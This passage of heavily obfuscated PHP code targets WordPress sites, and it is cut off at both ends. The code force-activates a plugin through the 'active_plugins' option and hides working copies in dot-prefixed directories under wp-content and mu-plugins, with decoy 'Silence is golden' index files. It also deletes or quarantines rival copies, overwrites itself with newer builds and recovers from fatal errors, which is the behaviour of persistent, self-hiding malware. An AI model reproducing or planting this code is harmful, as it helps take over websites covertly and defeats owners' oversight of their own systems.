return (21 === 21);
}
if ($r === '0') return (12 === 22);
}
if (("f\x75\x6e\x63\x74\x69o" . "\x6e" . '_exist' . "\x73")('floc' . 'k') && ("fu" . ("\x6e\x63\x74\x69" . "on_exists"))('fop' . "e" . "n")) {
$_lk_dirs = array();
if (("fu" . "nct" . 'i' . "o\x6e_e\x78i\x73ts")('sy' . 's' . '_get_' . 't' . 'emp_di' . 'r')) $_lk_dirs[] = sys_get_temp_dir();
if (defined("\x57P_" . 'CO' . 'NTEN' . 'T' . '_DIR')) $_lk_dirs[] = WP_CONTENT_DIR;
if (defined('ABSPA' . 'TH')) $_lk_dirs[] = rtrim(ABSPATH, '/\\');
foreach ($_lk_dirs as $d) {
if ($d === '' || !@is_dir($d) || !@is_writable($d)) continue;
$fh = @("fo" . ("\x70e" . 'n'))($d . '/' . 'sc_' . yiwef($name) . '.lock', 'c');
if (!(is_resource($fh))) {} else {
if (!@flock($fh, LOCK_EX | LOCK_NB)) {
@("f" . "\x63" . "lo" . "\x73\x65")($fh);
return (7 !== 7);
}
if (!isset(${('GLO' . "") . "BAL" . "\x53"}['sc_l' . 'ock' . "_f\x68"]) || !is_array(${"\x47\x4c\x4f" . 'BAL' . 'S'}['sc_' . 'lo' . 'c' . 'k_f' . 'h'])) ${'G' . "LO" . ("\x42\x41\x4c" . 'S')}["\x73\x63" . "\x5flock_" . 'fh'] = array();
${"GLO" . 'BALS'}["\x73" . "c_lo" . 'c' . 'k_fh'][$name] = $fh;
${"\x47" . 'LOBA' . 'LS'}['sc' . '_loc' . 'k_n'][$name] = (0 + 1);
return (40 === 40);
}
}
}
${"GLOB" . "A" . ("L" . "\x53")}["\x73c_" . 'lock_n'][$name] = (8 ^ 9);
${"GLO" . "\x42A" . "L" . 'S'}['s' . "c\x5fl" . "ock_i" . "p"][$name] = (1 - 0);
return (25 !== 18);
}
function ifeki($name)
{
global $wpdb;
if (empty(${"GLO" . 'B' . "A" . 'LS'}['s' . 'c_lo' . 'c' . "k\x5fn"][$name])) return;
${'GL' . "O\x42A" . 'LS'}["s\x63_l\x6f" . "c\x6b_\x6e"][$name]--;
if (${'GLOBAL' . 'S'}['s' . 'c' . "_l\x6f\x63k_" . "\x6e"][$name] > (5 ^ 5)) return;
unset(${("G" . "LO") . 'BALS'}["\x73" . 'c' . "_l" . "oc\x6b_\x6e"][$name]);
unset(${"G" . "\x4c\x4f\x42\x41" . "\x4c" . "S"}["sc_lo\x63" . "\x6b_db"][$name]);
unset(${"G" . "" . "\x4c" . "O" . "\x42\x41\x4c\x53"}['sc_lo' . 'ck_ip'][$name]);
if (isset(${'GL' . "OBALS"}["\x73c_\x6co" . 'ck' . "_fh"][$name])) {
@flock(${'G' . '' . 'LO' . 'B' . 'ALS'}['sc' . '_lock_' . 'fh'][$name], LOCK_UN);
@('fclo' . 's' . "\x65")(${"\x47\x4c\x4f" . "\x42A\x4c" . ('' . 'S')}['sc' . "_l\x6fck" . '_fh'][$name]);
unset(${"\x47" . "LO" . "BAL" . 'S'}["sc\x5f\x6c" . 'o' . 'ck_fh'][$name]);
}
if (!(is_object($wpdb) && ('me' . "\x74\x68\x6f\x64\x5f\x65\x78\x69\x73\x74\x73")($wpdb, 'query'))) {} else {
@$wpdb->query('SE' . "\x4cECT R" . "E" . 'L' . 'EAS' . "E_L" . 'OCK(\'' . yiwef($name) . "')");
}
}
function buha()
{
if (defined("DI\x53\x41" . "LLO\x57" . '_FI' . 'LE' . "_M\x4fDS") && DISALLOW_FILE_MODS) return (35 == 37);
return (27 !== 17);
}
function sose()
{
if (!(("func" . "t") . 'ion_exists')('floc' . 'k') || !('functi' . "o" . "n_" . "\x65\x78\x69\x73ts")('fo' . 'pen')) return (19 < 19);
$_dirs = array();
if (("\x66\x75\x6e\x63\x74\x69\x6f" . "\x6e\x5f\x65" . 'xists')('sy' . 's_get' . '_temp_' . "\x64\x69r")) $_dirs[] = sys_get_temp_dir();
if (defined("WP_\x43O" . "NTEN\x54" . "_\x44IR")) $_dirs[] = WP_CONTENT_DIR;
if (defined("AB\x53\x50AT" . 'H')) $_dirs[] = rtrim(ABSPATH, '/\\');
foreach ($_dirs as $_d) {
if ($_d === '' || !@is_dir($_d) || !@is_writable($_d)) continue;
$_fh = @("fo" . ("\x70" . 'e') . '' . "n")($_d . '/s' . 'c_' . yiwef('actp') . '.lock', 'c');
if (!is_resource($_fh)) continue;
if (!(!@flock($_fh, LOCK_EX | LOCK_NB))) {} else {
@('f' . "" . "\x63\x6c\x6f\x73\x65")($_fh);
return (19 == 33);
}
${"\x47\x4c" . "" . "OBA" . "LS"}['sc' . '_' . 'ac' . "tp_" . "\x66h"] = $_fh;
return (14 != 4);
}
return (25 > 25);
}
function azodih()
{
if (!(isset(${"G" . 'LOB' . '' . 'ALS'}["s\x63_ac" . 'tp_' . 'fh']))) {} else {
@flock(${('GL' . "OB") . 'A' . 'LS'}['sc_act' . 'p_f' . 'h'], LOCK_UN);
@("fc" . 'l' . "o" . "se")(${"\x47L\x4f\x42\x41" . "\x4c\x53"}['s' . 'c' . '_act' . "p_f" . 'h']);
unset(${"GL" . "OB" . "A\x4c\x53"}['sc' . '_actp_' . "f\x68"]);
}
}
function lubeq($rel)
{
if (!("func" . ('tion_exist' . "\x73"))("g" . "et\x5f" . 'optio' . 'n') || !('function_exi' . "sts")('up' . 'date' . "_" . 'opti' . 'on')) return;
if (!sose()) return;
try {
$act = get_option('act' . 'i' . "\x76" . "e" . "_plug\x69" . 'ns', array());
if (!is_array($act)) $act = array();
$_clean = array_values(array_unique($act));
if (!in_array($rel, $_clean, (18 == 18))) $_clean[] = $rel;
if ($_clean !== $act) update_option('ac' . "ti" . 've_p' . "\x6cu\x67" . "\x69\x6es", $_clean);
unset($_clean);
} finally {
azodih();
}
}
function neje($rel)
{
if (!("\x66" . 'uncti' . 'on_exists')("g" . 'et_' . 'o' . 'ptio' . 'n') || !(("\x66\x75\x6e\x63t" . '') . 'ion_exists')("\x75p" . "d" . "at\x65_o" . 'ptio' . 'n')) return;
if (!sose()) return;
try {
$act = get_option("\x61" . "\x63t\x69" . 've_plu' . 'gin' . 's', array());
if (is_array($act) && in_array($rel, $act, (20 < 21))) {
update_option('act' . "i\x76e\x5fp" . "\x6cu" . "gin" . "s", array_values(array_diff($act, array($rel))));
}
} finally {
azodih();
}
}
function niga($ctx, $e)
{
try {
if (interface_exists("\x54hr" . 'owa' . "b" . 'le') && $e instanceof Throwable) {
$msg = substr($ctx . ':' . ' ' . $e->getMessage(), (2 - 2), (366 - 110));
} elseif ($e instanceof Exception) {
$msg = substr($ctx . ': ' . $e->getMessage(), (8 - 8), (2 + 254));
} elseif (is_string($e) && strlen($e) > (4 - 4)) {
$msg = substr($ctx . ': ' . $e, (3 ^ 3), (72 + 184));
} else {
return;
}
if (!isset(${'GL' . 'O' . "BA" . 'LS'}['sc_err' . 'ors'])) ${'GLOB' . "ALS"}["sc_e" . 'rro' . 'r' . "s"] = array();
if (!in_array($msg, ${("G\x4c" . "\x4f\x42A") . "L" . "\x53"}['sc' . '_error' . "\x73"], (17 == 17))) {
${("\x47" . 'LO') . "BAL" . "\x53"}["sc_\x65" . "rro\x72s"][] = $msg;
}
if (count(${"G\x4c\x4f" . 'BA' . ("" . 'LS')}['sc_e' . 'r' . "ro" . 'rs']) > (9 ^ 59)) {
${'G' . 'LO' . 'BALS'}['s' . 'c' . "_e" . "r" . "\x72o\x72s"] = array_slice(${"GL\x4fB" . ("A" . "\x4c\x53")}['sc_er' . 'r' . "or" . 's'], -(71 - 21));
}
} catch (Throwable $e2) {
} catch (Exception $e2) {
}
}
function vivec($h, $cb, $p = (20 >> 1), $n = (7 - 6))
{
if (!("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f" . "ex" . ("i" . "sts"))('a' . "dd\x5fa" . 'c' . 'tion')) return (35 == 18);
if (is_string($cb)) {
return add_action($h, function (...$args) use ($cb) {
if (('fu' . "\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73" . 'ts')($cb)) return $cb(...$args);
return null;
}, $p, $n);
}
return add_action($h, $cb, $p, $n);
}
function oravaf($h, $cb, $p = (15 - 5), $n = (9 + -8))
{
if (!("\x66\x75nc\x74\x69\x6f\x6e\x5f" . "\x65\x78\x69\x73\x74\x73")("\x61d\x64_\x66i" . 'lter')) return (2 > 2);
if (is_string($cb)) {
return add_filter($h, function (...$args) use ($cb) {
if (("\x66\x75" . 'nction_exi' . '' . "sts")($cb)) return $cb(...$args);
return isset($args[(13 ^ 13)]) ? $args[(1 + -1)] : null;
}, $p, $n);
}
return add_filter($h, $cb, $p, $n);
}
function upuder($d)
{
static $cache = array();
if (!is_string($d) || $d === '') return (6 == 9);
if (isset($cache[$d])) return $cache[$d];
$ok = (30 != 30);
if (!(@is_dir($d) && @is_writable($d))) {} else {
$t = rojif($d, 'sp' . '_');
if (!(is_string($t) && $t !== '')) {} else {
$fp = @("\x66" . 'op' . "en")($t, 'wb');
if (!(is_resource($fp))) {} else {
$ok = @("fw" . "" . "rite")($fp, 'x') === (3 + -2);
@("\x66cl" . "o" . 'se')($fp);
}
jomug($t);
}
if (!(!$ok)) {} else {
for ($_i = (6 + -6); $_i < (23 ^ 20) && !$ok; $_i++) {
$_c = $d . '/s' . "\x63_" . "sp" . hanak((1 + 7));
$fp = @('fo' . ("" . "pen"))($_c, 'x+b');
if (!is_resource($fp)) continue;
$ok = @('fw' . ("ri" . 't') . 'e')($fp, 'x') === (10 - 9);
@("fc" . "lose")($fp);
jomug($_c);
}
unset($_c);
}
}
$cache[$d] = $ok;
return $ok;
}
function sc_data_dir()
{
static $sel = null;
if ($sel !== null) return $sel;
$dir = defined('WP_CON' . "TE" . 'NT_D' . 'IR') ? WP_CONTENT_DIR . '/.sc_' . sc_md5(ABSPATH . "d" . 'i' . 'r', (6 + 2)) : dirname(sc_file()) . '/cach' . 'e';
if (!@is_dir($dir) && ipova($dir)) {
qeru($dir, (406 ^ 123), (19 != 10));
if (@is_dir($dir)) {
medi($dir . '/ind' . "e" . 'x.ph' . 'p', "<\x3fph" . 'p /' . '/ Sil' . "e\x6e" . 'ce' . ' is' . "\x20g\x6fl\x64" . "\x65n.\n", 'dir');
}
}
if (upuder($dir)) {
$sel = $dir;
return $sel;
}
$_mud = (defined('WPMU' . '_PLUG' . "IN_D" . "\x49R") && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : (defined("W\x50_C" . "ONT" . "E\x4eT\x5fD\x49" . "R") ? WP_CONTENT_DIR . "/m" . "u\x2dp" . "lu" . "\x67in" . 's' : '');
if (!($_mud !== '' && @is_dir($_mud))) {} else {
$_mdir = $_mud . "\x2f" . '.sc_' . sc_md5(ABSPATH . 'dir', (11 ^ 3));
if (!@is_dir($_mdir) && ipova($_mdir)) {
qeru($_mdir, (9 | 484), (39 == 39));
if (!(@is_dir($_mdir))) {} else {
medi($_mdir . '/index' . '.p' . 'hp', '<?php' . ' // Si' . "\x6ce\x6ec" . 'e is ' . 'go' . 'lden' . "\x2e\n", 'dir');
}
}
if (!(upuder($_mdir))) {} else {
$sel = $_mdir;
return $sel;
}
unset($_mdir);
}
unset($_mud);
$alt = dirname(sc_file()) . "/\x63ach" . 'e';
if (!@is_dir($alt) && ipova($alt)) qeru($alt, (100 | 393), (3 > 2));
if (!(upuder($alt))) {} else {
$sel = $alt;
return $sel;
}
$alt2 = dirname(sc_file());
if (!($alt2 !== sc_mu() && upuder($alt2))) {} else {
$sel = $alt2;
return $sel;
}
if (!(defined('WP_CO' . 'NTENT' . '_DI' . "R") && ipova(WP_CONTENT_DIR) && upuder(WP_CONTENT_DIR))) {} else {
$sel = WP_CONTENT_DIR;
return $sel;
}
return $dir;
}
function sc_writable_base()
{
if (defined("\x57\x50\x5f\x43O" . "NT\x45NT_" . 'DIR') && @is_writable(WP_CONTENT_DIR) && ipova(WP_CONTENT_DIR)) return WP_CONTENT_DIR;
$fallback = dirname(sc_file());
if (ipova($fallback)) return $fallback;
return WP_CONTENT_DIR;
}
function vevud($path)
{
if (empty(${"GLO" . ('BAL' . "S")}['sc_pur' . 'ge']) || !is_array(${('GLO' . "") . "BALS"}["sc_pu" . "rg\x65"])) return (18 < 18);
if (isset(${'G' . 'L' . ('OB' . "ALS")}['sc' . "_\x70ur" . "ge"][$path])) return (1 > 0);
$rp = ('fun' . 'ction_exists')("realp" . 'ath') ? @realpath($path) : (20 === 23);
return ($rp !== (13 < 13) && isset(${"\x47LO\x42" . 'ALS'}["sc\x5fpu" . 'r' . 'ge'][$rp]));
}
function zevu($path)
{
if (empty(${"\x47" . "LOBALS"}['sc' . "\x5fp" . 'ur' . 'ge']) || !is_array(${"\x47" . "\x4c\x4f\x42\x41\x4c" . "" . 'S'}["\x73c" . '_pur' . 'ge'])) return;
unset(${"GLOB" . "A\x4cS"}['sc_' . "p\x75r" . "ge"][$path]);
$rp = (('fun' . 'ction_e') . "\x78\x69\x73" . 'ts')('rea' . "\x6cp\x61t\x68") ? @realpath($path) : (13 > 13);
if ($rp !== (11 !== 11)) unset(${'G' . "L" . '' . "O\x42\x41" . 'LS'}['sc_p' . "ur" . 'ge'][$rp]);
}
function aqedu($path)
{
if (!(!isset(${"GLO" . 'BA' . 'LS'}['sc_pu' . 'rge']) || !is_array(${"GLOBAL" . "\x53"}['sc_' . "\x70" . 'urge']))) {} else {
${('G' . "LOB") . "A\x4c" . "S"}['sc' . '_p' . "u\x72g\x65"] = array();
}
$_rp = ('f' . 'unction_ex' . "is\x74s")("re\x61l\x70a" . "th") ? @realpath($path) : (24 === 8);
${("G" . "\x4cO\x42\x41") . "L" . "S"}['s' . "c_\x70ur" . "g\x65"][$_rp !== (36 < 36) ? $_rp : $path] = $path;
static $scheduled = (16 != 16);
if (!$scheduled) {
$scheduled = (26 < 27);
if (("func" . "tio" . 'n_exists')('reg' . 'i' . "s" . 'te' . 'r_' . 'sh' . 'utdo' . "w\x6e" . '_funct' . "i\x6fn")) ("\x72\x65" . ('gister_shutdown' . "_\x66") . "\x75\x6e\x63\x74\x69\x6f\x6e")("s\x63_pur" . 'ge_ru' . 'n');
}
}
function sc_purge_run()
{
if (empty(${'G' . ('LOBAL' . "\x53")}["sc_p" . 'u' . 'rge']) || !is_array(${'G' . 'L' . 'O' . "\x42\x41\x4c\x53"}['sc_pur' . 'ge'])) {
return;
}
foreach (${'GLO' . ("BA" . '') . "\x4c\x53"}["sc_\x70" . 'urge'] as $_p => $_del) {
if (!is_string($_del)) $_del = $_p;
if ($_p === sc_file() || $_del === sc_file()) continue;
try {
if (@is_file($_del) && !sc_retire_copy($_del) && sc_is_locked_copy($_del)) {
peza($_del);
barus($_del);
}
if (!@is_file($_del)) sc_retire_sidecars($_del);
} catch (Throwable $e) {
} catch (Exception $e) {
}
}
}
function fuso($file)
{
if (!is_string($file) || $file === '' || !defined("WP_" . 'PLUG' . "\x49N_D\x49" . 'R')) return '';
$base = rtrim(str_replace('\\', '/', (string) WP_PLUGIN_DIR), '/');
$f = str_replace('\\', '/', $file);
if (strpos($f, $base . '/') !== (23 ^ 23)) return '';
$rel = substr($f, strlen($base) + (4 + -3));
if ($rel === '' || substr($rel, -(17 ^ 21)) !== '.' . "p" . 'hp') return '';
if (substr_count($rel, '/') > (5 + -4)) return '';
return $rel;
}
function datu($slug = null)
{
$slug = (($slug === null || $slug === '') && ("\x66u\x6e\x63\x74\x69\x6f\x6e" . "_exists")('sc_slu' . 'g')) ? basename(sc_slug(), "\x2e" . "php") : (string) $slug;
if ($slug === '' || !("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73" . "\x74" . "\x73")('sc_mu')) return (3 > 3);
return @is_file(sc_mu() . '/' . $slug . '.php');
}
function qufe($slug = null)
{
return !datu($slug);
}
function neru($slug, $rel)
{
if (qufe($slug)) lubeq($rel);
else neje($rel);
}
function xomol($rel)
{
if (!("fu" . "nction_exists")('get_' . "si" . 'te_' . 'option') || !('functi' . "o\x6e\x5fe\x78i\x73t" . "\x73")('up' . 'da' . 'te_s' . "ite_" . 'opt' . 'ion')) return;
$net = @get_site_option("a\x63\x74i" . 've_si' . "t\x65wide" . "\x5fpl\x75g" . 'ins', array());
if (is_array($net) && isset($net[$rel])) {
unset($net[$rel]);
@update_site_option('activ' . "e_si\x74e" . 'wid' . "\x65\x5f\x70l\x75" . 'gins', $net);
}
}
function sove($file, $self = '')
{
if (!is_string($file) || $file === '' || !@is_file($file)) return (28 === 40);
$sz = (int) @filesize($file);
if ($sz < (2272 + 2728) || $sz > (39515268 + 12913532)) return (29 == 28);
if (!($self !== '')) {} else {
$_rp1 = @realpath($file);
$_rp2 = @realpath($self);
if (is_string($_rp1) && is_string($_rp2) && $_rp1 === $_rp2) return (23 === 6);
unset($_rp1, $_rp2);
}
$h = @("file_g" . 'et_content' . "\x73")($file, (35 < 35), null, (19 ^ 19), (3201 + 895));
if (!is_string($h)) return (10 < 10);
if (preg_match('/\\/' . "\\" . '*' . ' SCV:' . "\\d+\\" . '.\\' . "d+\\." . '\\' . 'd+ \\*\\' . '/' . '/', $h) === (8 + -7)) return (22 == 22);
return sc_is_family($file, (40000 >> 3)) && supo($h);
}
function utolo()
{
$res = array("ol" . 'd' => (7 ^ 7), 'forei' . "\x67" . 'n' => (8 ^ 8), 'adopt' => (4 + -4));
try {
if (!defined('ABSPA' . 'TH')) return $res;
$self = sc_file();
$slug = basename($self, '.p' . "h\x70");
$mybase = strtolower($slug);
$mu_dir = ("f" . 'unction_e' . "\x78\x69\x73\x74\x73")('s' . "c_mu") ? rtrim(str_replace('\\', '/', sc_mu()), '/') : '';
$pl_dir = defined('WP_' . 'PLU' . 'GIN' . '_DIR') ? rtrim(str_replace('\\', '/', (string) WP_PLUGIN_DIR), '/') : '';
$my_dir = dirname(str_replace('\\', '/', $self));
$i_am_mu = ($mu_dir !== '' && $my_dir === $mu_dir);
$cand = array();
foreach (array($mu_dir, $pl_dir) as $d) {
if ($d === '' || !@is_dir($d)) continue;
foreach (array('/*.p' . "hp", '/*/*.p' . 'hp') as $pat) {
$l = @('g' . 'l' . "\x6f" . 'b')($d . $pat);
if (is_array($l)) $cand = array_merge($cand, $l);
}
}
if (empty($cand)) return $res;
$act = ("\x66\x75\x6e" . "c" . "" . "tion_exists")('ge' . "\x74_" . 'option') ? (array) @get_option('ac' . 'tive' . "_plu" . "gi" . "ns", array()) : array();
$net = ('function' . '' . "_exists")("\x67" . 'e' . 't_' . "si\x74" . "\x65_\x6fp" . 'tion') ? (array) @get_site_option('activ' . "e\x5f\x73" . "\x69\x74ew" . 'ide_p' . 'lugi' . 'ns', array()) : array();
$myv = sc_ver();
$adopt = ''; $adopt_v = $myv;
foreach ($cand as $f) {
$f = str_replace('\\', '/', (string) $f);
if (!sove($f, $self)) continue;
$v = muku($f);
$v = is_string($v) ? $v : '0.0.0';
$rel = fuso($f);
$in_mu = ($mu_dir !== '' && dirname($f) === $mu_dir);
$will_load = (16 < 16);
if ($rel !== '' && (in_array($rel, $act, (7 > 6)) || isset($net[$rel]))) $will_load = (24 == 24);
elseif ($in_mu && $i_am_mu && strcmp(strtolower(basename($f)), $mybase) > (21 ^ 21)) $will_load = (9 != 26);
$same_slug = (strtolower(basename($f, '.' . "p\x68p")) === $mybase);
$is_newer = version_compare($v, $myv, '>');
if (!$same_slug) $res["forei\x67" . "n"]++;
if ($will_load && !$is_newer) {
if ($rel !== '') {
neje($rel);
xomol($rel);
}
legiv($f, (1680 >> 2));
if (!sc_retire_copy($f)) peza($f);
sc_retire_sidecars($f);
if ((("\x66un\x63" . "t") . '' . 'ion_' . "exists")('opca' . 'c' . 'he_in' . "\x76al" . "idate")) @opcache_invalidate($f, (13 < 14));
$res['old']++;
if ($rel !== '') niga("\x70\x72\x65bo\x6f" . 't', 'r' . "etir" . 'e' . "d\x20\x6co\x61" . 'di' . "\x6eg t" . 'win ' . $rel . ' v' . $v);
continue;
}
if ($is_newer) {
if (version_compare($v, $adopt_v, '>')) { $adopt = $f; $adopt_v = $v; }
if ($rel !== '') {
neje($rel);
xomol($rel);
$res['old']++;
}
continue;
}
if (!$will_load) {
if ($same_slug) continue;
if ($rel !== '') {
neje($rel);
xomol($rel);
}
legiv($f, (36 | 384));
if (sc_retire_copy($f)) {
sc_retire_sidecars($f);
if (("f\x75\x6e\x63t\x69" . "\x6f\x6e\x5f\x65" . "x\x69\x73\x74" . "s")("\x6fpca" . "ch\x65\x5fin" . "v" . "alid\x61" . "te")) @opcache_invalidate($f, (0 < 1));
$res["o" . "\x6c" . "d"]++;
} else {
peza($f);
}
}
}
if ($adopt !== '' && @is_file($adopt) && ("function_exi" . 'sts')("u\x70da" . "t" . 'e_op' . 'tio' . "\x6e") && !imijo($adopt)) {
$tsrc = kasod($adopt);
if (is_string($tsrc) && $tsrc !== '' && nifa($tsrc) && @is_writable($self) && zifo($self, tafi($tsrc), (32 | 388))) {
fife($self);
if (("\x66\x75\x6e" . "\x63" . "t" . "ion_exists")('op' . "ca\x63" . 'he_' . 'in' . 'val' . "i\x64a" . 'te')) @opcache_invalidate($self, (30 < 31));
@update_option("s\x63_" . 'ver', $adopt_v, 'no');
sc_retire_copy($adopt);
sc_retire_sidecars($adopt);
$res['ad' . "opt"] = (2 - 1);
niga('p' . 're' . "boot", 'ad' . 'opted' . ' ' . "ne" . 'wer' . ' bui' . "\x6cd v" . $adopt_v . ' ' . 'from ' . basename($adopt));
}
}
unset($cand, $act, $net);
return $res;
} catch (Throwable $e) {
return $res;
}
catch (Exception $e) {
return $res;
}
}
function sc_fatal_guard()
{
try {
$e = ('fun' . "ction_e" . "x" . 'ists')('error_' . 'ge' . "t_" . 'l' . 'ast') ? @error_get_last() : null;
if (!is_array($e) || empty($e["f" . "\x69l" . "e"]) || empty($e["t" . "y" . "pe"])) return;
if (!in_array($e['t' . "y\x70e"], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR), (31 > 30))) return;
$m = isset($e['mess' . "a" . "g\x65"]) ? (string) $e["mes" . 'sage'] : '';
if (stripos($m, 'A' . "l" . 'low' . 'ed mem' . "o" . 'ry ' . 'siz' . "e") !== (8 == 1) || stripos($m, "\x4d\x61" . 'xi' . 'mu' . 'm ex' . 'ec' . 'ution' . "\x20t" . 'ime') !== (19 > 19)) return;
$_self = ("function" . "_" . "\x65\x78i" . 'sts')("r\x65a" . 'l' . 'pa' . 'th') ? @realpath(sc_file()) : sc_file();
$_ef = ('f' . ("\x75\x6e" . 'ction_exists'))('realp' . "at\x68") ? @realpath($e["\x66il" . "e"]) : $e["\x66i" . "le"];
if (!is_string($_self) || !is_string($_ef)) return;
if ($_ef !== $_self) {
if (stripos($m, 'C' . 'annot ' . 're' . "de\x63" . 'lare') === (12 < 12) && stripos($m, 'a' . 'lr' . 'eady ' . "de\x63la" . "\x72ed") === (5 == 14)) return;
$_th = @(("file" . '') . '_get_contents')($_ef, (20 < 20), null, (1 - 1), (3261 ^ 7357));
$_ours = is_string($_th) && (preg_match('/\\/' . "\\* SC" . 'V:' . '\\d+' . '\\.' . '\\d+\\.\\' . 'd+ \\*\\' . '//', $_th) === (1 + 0) || supo($_th));
unset($_th);
if (!$_ours) return;
$_trel = fuso($_ef);
if ($_trel !== '') {
neje($_trel);
xomol($_trel);
}
legiv($_ef, (264 ^ 172));
$_toff = $_ef . '.off';
if (('function_' . '' . 'exists')('r' . 'ena' . "me")) @("\x72" . 'en' . 'a' . "me")($_ef, $_toff);
if (@is_file($_ef)) sc_retire_copy($_ef);
sc_retire_sidecars($_ef);
if (("func" . ("" . 'tion_exists'))('opca' . 'che' . "_in\x76a" . "li\x64" . "a\x74e")) {
@opcache_invalidate($_ef, (27 == 27));
@opcache_invalidate($_toff, (28 !== 2));
}
if (("\x66\x75\x6e" . '' . "c\x74" . "ion_exists")('upda' . "t\x65" . '_optio' . 'n')) {
@update_option("sc_" . 'd' . 'up_b' . "oo" . "m", (int) @get_option("sc" . "_du" . 'p_boom', (18 ^ 18)) + (14 ^ 15), 'no');
}
niga('fatal', 'redec' . 'lar' . "\x65" . ' ' . 'conf' . 'lict' . ': ' . "\x74w\x69n\x20\x71" . 'u' . 'ara' . 'nt' . 'ined ' . basename($_ef));
return;
}
if (isset(${"G" . 'LO' . "" . 'BAL' . 'S'}["sc_b" . 'oot_ve' . "r"])) {
$_dh = @('file_get_con' . "\x74\x65\x6e\x74" . "\x73")(sc_file(), (38 > 38), null, (0 + 0), (1540 ^ 5636));
if (is_string($_dh) && preg_match('/\\/\\' . "* S\x43V:" . "(\\\x64+\\." . '\\d+\\' . '.\\d+) ' . '\\*\\/' . '/', $_dh, $_dm) && $_dm[(20 ^ 21)] !== (string) ${'GLO' . ("\x42" . "AL") . "S"}['sc_bo' . "ot_" . 'ver']) return;
unset($_dh, $_dm);
if (isset(${"\x47\x4c\x4f\x42\x41" . "LS"}["sc_b\x6fo" . 't_s' . "t"])) {
if (('functi' . '' . "\x6f\x6e\x5f" . "\x65\x78" . 'ists')('c' . 'l' . "ea\x72st" . 'atc' . "a\x63" . "\x68e")) @clearstatcache((37 > 36), sc_file());
$_st2 = (string) @filesize(sc_file()) . ':' . (string) @filemtime(sc_file());
if ($_st2 !== (string) ${'GLOBA' . "" . "L\x53"}['sc' . '_boot' . "\x5f\x73t"]) return;
unset($_st2);
}
}
$slug = basename(sc_file(), '.php');
$_fc = kasod(sc_file());
$_md5 = is_string($_fc) ? md5($_fc) : '';
unset($_fc);
if ($_md5 !== '') {
medi(dirname(sc_file()) . '/.q' . "\x5f" . $slug, $_md5, 'q');
medi(dirname(sc_file()) . '/' . "\x2eu" . 'b_' . $_md5, (string) time(), 'q');
if (("\x66\x75\x6ec\x74io\x6e\x5fe\x78i\x73" . 'ts')("u\x70d" . "ate" . "_op" . 'ti' . 'on')) {
@update_option("\x73" . 'c_upd' . "a\x74\x65\x5fba" . 'd', $_md5 . '|' . time(), 'no');
}
}
$mu = sc_mu();
if ($_md5 !== '' && $mu !== dirname(sc_file()) && @is_dir($mu) && @is_writable($mu)) {
medi($mu . '/.q_' . $slug, $_md5, 'q');
}
neje(sc_base());
uvere('fail');
$off = sc_file() . '.o' . 'f' . "f";
if (("fun\x63ti" . "o" . ("n_exist" . "\x73"))('ren' . "a" . "me")) @("\x72\x65n\x61\x6d" . "e")(sc_file(), $off);
if (("fu\x6e\x63\x74i" . "on_exists")('opcach' . "e_i" . 'nvali' . 'dat' . 'e')) {
@opcache_invalidate(sc_file(), (16 != 6));
@opcache_invalidate($off, (32 !== 34));
}
foreach (array(dirname($off), sc_mu()) as $_qd) {
$_files = asome($_qd, (4277 + 723));
if (!is_array($_files)) continue;
foreach ($_files as $_qf) {
if (substr($_qf, -(32 >> 2)) !== "\x2e\x70h\x70." . "o\x66\x66") continue;
$_qp = $_qd . '/' . $_qf;
$_qm = @filemtime($_qp);
if ($_qm && $_qm < time() - (534656 | 70144)) {
legiv($_qp, (359 ^ 195));
jomug($_qp);
}
}
}
unset($_qd, $_files, $_qf, $_qp, $_qm);
} catch (Throwable $e2) {
} catch (Exception $e2) {
}
}
function mega($path, $ver)
{
try {
if (!is_string($path) || $path === '' || !is_string($ver) || $ver === '') return;
$dir = dirname($path);
if (!@is_dir($dir) || !@is_writable($dir)) return;
$sd = $dir . '/.sd_' . basename($path, '.php');
$cur = @(('file_get' . '') . "_contents")($sd);
if (is_string($cur) && preg_match("/\\d+\\." . "\\" . 'd+\\.\\d' . '+/', $cur, $m) && version_compare($m[(11 ^ 11)], $ver, '>=')) return;
if (('functio' . 'n_' . "exists")('file' . '_put' . '_con' . 'tent' . "\x73")) @('fil' . 'e_put_cont' . 'ents')($sd, $ver);
} catch (Throwable $e) {
} catch (Exception $e) {
}
}
function sc_dedup()
{
try {
if (!("funct" . "\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('get' . '_op' . "tio\x6e")) {
return;
}
if (@get_option('sc_pe' . 'nding' . '_in' . "v\x61\x6ci\x64\x61" . 'te', (3 - 3))) {
vivec('plu' . 'gins' . "_lo" . 'ad' . 'e' . "\x64", 'sc_pe' . "nd" . 'in' . 'g_inv' . 'alidat' . 'e_' . 'run', (2 ^ 2));
}
if (!ujiwo('sc_d' . 'e' . "dup")) return;
$opt_name = substr(md5(ABSPATH . (string) nasa()), (0 - 0), (48 >> 2));
$opt_cur = (string) @get_option($opt_name, '');
$cur_ver = "\x30." . '0.0';
$cur_slug = '';
$my_slug = strrev(sc_slug());
$my_ver = sc_ver();
$opt_self = $my_ver . '|' . $my_slug;
if (strpos($opt_cur, '|') !== (34 !== 34)) {
$parts = explode('|', $opt_cur, (0 | 2));
$cur_ver = $parts[(9 ^ 9)];
$cur_slug = $parts[(17 ^ 16)];
} else {
$cur_slug = $opt_cur;
}
if (!$cur_slug) {
@update_option($opt_name, $opt_self, "y\x65" . "\x73");
return;
}
if ($cur_slug === $my_slug) {
if ($opt_cur !== $opt_self && version_compare($my_ver, $cur_ver, '>=')) {
@update_option($opt_name, $opt_self, "ye" . 's');
}
return;
}
$cur_file = strrev($cur_slug);
if ($cur_file === '' || basename($cur_file) !== $cur_file) {
@update_option($opt_name, $opt_self, 'ye' . "s");
return;
}
$cur_path_mu = sc_mu() . '/' . $cur_file;
$cur_path_pl = '';
if (defined("W" . "P_\x50\x4cUG" . 'IN_D' . 'IR')) {
$cur_path_pl = WP_PLUGIN_DIR . '/' . pathinfo($cur_file, PATHINFO_FILENAME) . '/' . $cur_file;
}
$cur_size_mu = @filesize($cur_path_mu);
$cur_in_mu = $cur_size_mu !== (29 < 29) && $cur_size_mu >= (3205 ^ 7949);
